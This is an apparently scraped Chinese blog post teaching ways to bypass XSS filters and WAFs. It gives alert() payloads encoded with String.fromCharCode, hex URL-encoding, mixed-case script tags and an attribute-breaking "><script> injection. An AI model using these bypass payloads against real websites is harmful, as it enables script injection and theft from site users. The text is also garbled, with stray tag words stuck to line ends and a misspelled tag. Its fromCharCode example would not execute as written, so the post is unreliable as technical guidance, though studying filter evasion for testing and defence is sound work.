繞過XSS過濾規則

相信你們在作***測試的時候都有過這樣的經歷,明明一個XSS的漏洞,可是卻有XSS過濾規則或者WAF保護致使咱們不能成功利用,好比咱們輸入<scirpt>alert("hi")</script>,會被轉換爲<script>alert(>xss detected<)</script>,這樣的話咱們的XSS就不生效了,下面就教你們幾種簡單的繞過XSS的方法:javascript

一、繞過 magic_quotes_gpcphp

magic_quotes_gpc=ON是php中的安全設置,開啓後會把一些特殊字符進行輪換,好比'(單引號)轉換爲\',"(雙引號)轉換爲\" ,\轉換爲\\html

好比:<script>alert("xss");</script>會轉換爲<script>alert(\"xss\");</script>,這樣咱們的xss就不生效了。java

針對開啓了magic_quotes_gpc的網站,咱們能夠經過javascript中的String.fromCharCode方法來繞過,咱們能夠把alert("XSS");轉換爲web

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)那麼咱們的XSS語句就變成了安全

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> xss

String.fromCharCode()是javascript中的字符串方法,用來把ASCII轉換爲字符串。ide

如何轉換ASCII碼呢?工具

咱們能夠使用 hackbar 來搞定,Firefox的擴展工具https://addons.mozilla.org/en-US/firefox/addon/hackbar/測試

最後使用<script>轉換後的放到這裏</script>包含便可。
二、HEX編碼
咱們能夠對咱們的語句進行hex編碼來繞過XSS規則。
好比:<script>alert("xss");</script> 能夠轉換爲:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e
在線工具:
http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html
http://www.asciitohex.com/
三、改變大小寫
在測試過程當中,咱們能夠改變測試語句的大小寫來繞過XSS規則
好比:<script>alert("xss");</script> 能夠轉換爲:
<ScRipt>ALeRt("XSS");</sCRipT>
四、關閉標籤
有時咱們須要關閉標籤來使咱們的XSS生效,如:
"><script>alert("Hi");</script>
相關文章
相關標籤/搜索